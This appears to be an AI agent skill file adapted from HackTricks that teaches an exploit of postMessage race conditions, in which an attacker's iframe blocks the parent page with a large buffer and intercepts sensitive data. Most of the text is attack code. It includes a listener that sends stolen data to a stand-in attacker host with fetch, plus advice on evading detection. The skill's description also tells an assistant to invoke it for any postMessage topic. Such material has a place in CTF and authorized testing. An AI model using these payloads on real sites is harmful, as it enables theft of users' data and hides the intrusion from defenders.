Hacktricks-skills postmessage-race-condition-exploit

How to exploit postMessage vulnerabilities using race conditions to steal sensitive data from parent pages. Use this skill whenever the user mentions postMessage, iframe exploitation, cross-origin communication vulnerabilities, race conditions in web security, stealing data from parent windows, or any scenario where an iframe needs to intercept messages before the parent page processes them. This is especially useful for CTF challenges, bug bounties, or security assessments involving blob documents, isolated iframes, or message-passing between windows.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage/SKILL.MD
source content

PostMessage Race Condition Exploitation

This skill teaches you how to exploit timing vulnerabilities in postMessage communication by keeping the parent page busy while your iframe payload executes.

The Core Concept

When a parent page creates an iframe and sends sensitive data via

postMessage
after the iframe loads, there's a window of opportunity. If you can:

  1. Let the parent create the iframe (don't prevent it)
  2. Keep the parent busy right after iframe creation
  3. Execute your payload in the iframe while parent is blocked
  4. Listen for the postMessage that arrives after parent unblocks

You can steal data that the parent intended to send securely.

Why This Works

Blob documents created from null origins are isolated for security. However, if you maintain the parent page in a busy state, the iframe page continues executing. The parent will send the postMessage with sensitive data (like a flag) after the iframe loads, but if your payload is already listening, you can intercept it.

Step-by-Step Exploitation

Step 1: Identify the Vulnerable Pattern

Look for parent pages that:

  • Create iframes dynamically
  • Listen for postMessage events
  • Send sensitive data after receiving confirmation

Example vulnerable code:

window.addEventListener("message", (e) => {
  if (e.data == "blob loaded") {
    // Sends sensitive data here
    sendFlagToIframe();
  }
})

Step 2: Find an Async Action to Block

You need to find an async action the parent executes that you can slow down. Common targets:

  • Large data comparisons: Send a big integer that gets converted to string
  • Heavy computations: Trigger expensive operations
  • Network requests: Slow down with large payloads

Example blocking payload:

const buffer = new Uint8Array(1e7); // 10MB buffer
win?.postMessage(buffer, '*', [buffer.buffer]);

This works because the parent's comparison

e.data == "blob loaded"
will convert the large buffer to a string, taking significant time.

Step 3: Time Your Payload Precisely

You need to send the blocking postMessage just after the iframe is created but before it's ready to receive data. Use

setTimeout
with millisecond precision:

// Adjust the timeout based on the parent's timing
setTimeout(() => {
  // Send blocking payload to parent
  parent.postMessage(blockingData, '*');
}, 50); // Tune this value

Step 4: Set Up Your Listener in the Iframe

Your iframe payload should immediately set up a message listener:

window.addEventListener('message', (e) => {
  // Check if this is the sensitive data
  if (e.data && e.data.includes('flag')) {
    // Exfiltrate the data
    fetch('https://your-attacker.com/steal?data=' + encodeURIComponent(e.data));
  }
});

Step 5: Complete Attack Flow

// In your iframe payload

// 1. Set up listener immediately
window.addEventListener('message', (e) => {
  if (e.data && typeof e.data === 'string' && e.data.length > 10) {
    // Likely the flag or sensitive data
    exfiltrate(e.data);
  }
});

// 2. Block the parent after a short delay
setTimeout(() => {
  const buffer = new Uint8Array(1e7);
  window.parent.postMessage(buffer, '*', [buffer.buffer]);
}, 100);

// 3. Signal that iframe is loaded (if required)
setTimeout(() => {
  window.parent.postMessage('blob loaded', '*');
}, 200);

Timing Considerations

The exact timing depends on:

  • Parent page load time: How long until it creates the iframe
  • Parent's message handler: How quickly it processes messages
  • Network conditions: Affects when data arrives

Debugging tip: Add console logs with timestamps to measure the window:

console.log('Iframe loaded:', Date.now());
// ... after receiving message
console.log('Message received:', Date.now());

Common Scenarios

Scenario 1: Blob Document Preview

Parent creates a blob iframe to preview a document, then sends the document content via postMessage.

Exploitation:

  • Send large buffer to block parent's message handler
  • Listen for the document content in your iframe
  • Exfiltrate before parent unblocks

Scenario 2: Modal Preview Systems

Parent listens for "blob loaded" to show a modal with sensitive data.

Exploitation:

  • Block the comparison
    e.data == "blob loaded"
  • Your iframe receives the modal data before parent processes it

Scenario 3: Cross-Origin Data Sharing

Parent shares data across origins via postMessage after iframe confirmation.

Exploitation:

  • Race the confirmation message
  • Intercept data in transit

Detection Evasion

To avoid detection:

  1. Use realistic timing: Don't block for too long
  2. Match expected messages: Send the confirmation the parent expects
  3. Avoid obvious exfiltration: Use slow, distributed exfiltration

Testing Checklist

Before attempting exploitation:

  • Can you inject JavaScript into the iframe?
  • Does the parent use postMessage for sensitive data?
  • Is there a timing window between iframe creation and message sending?
  • Can you identify an async action to block?
  • Do you have an exfiltration endpoint?

Legal and Ethical Considerations

Only use this technique:

  • On systems you own or have explicit permission to test
  • In CTF challenges and authorized bug bounty programs
  • For educational purposes in controlled environments

Never exploit this vulnerability on systems without authorization.

References